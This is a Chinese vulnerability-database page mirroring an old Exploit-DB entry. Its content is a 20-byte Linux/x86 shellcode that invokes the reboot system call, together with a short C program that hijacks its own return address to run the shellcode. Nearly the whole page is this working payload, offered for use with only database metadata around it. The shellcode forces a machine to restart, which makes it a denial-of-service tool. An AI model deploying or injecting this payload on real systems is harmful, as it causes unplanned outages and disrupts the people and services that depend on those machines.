Linux/x86 - reboot() Shellcode (20 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1055535 漏洞类型
发布时间 2006-01-21 更新时间 2006-01-21
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13397
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
 * (linux/x86) reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) - 20 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"\x6a\x58"              // push $0x58 
	"\x58"                  // pop %eax 
	"\xbb\xad\xde\xe1\xfe"  // mov $0xfee1dead,%ebx 
	"\xb9\x69\x19\x12\x28"  // mov $0x28121969,%ecx 
	"\xba\x67\x45\x23\x01"  // mov $0x1234567,%edx 
	"\xcd\x80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// milw0rm.com [2006-01-21]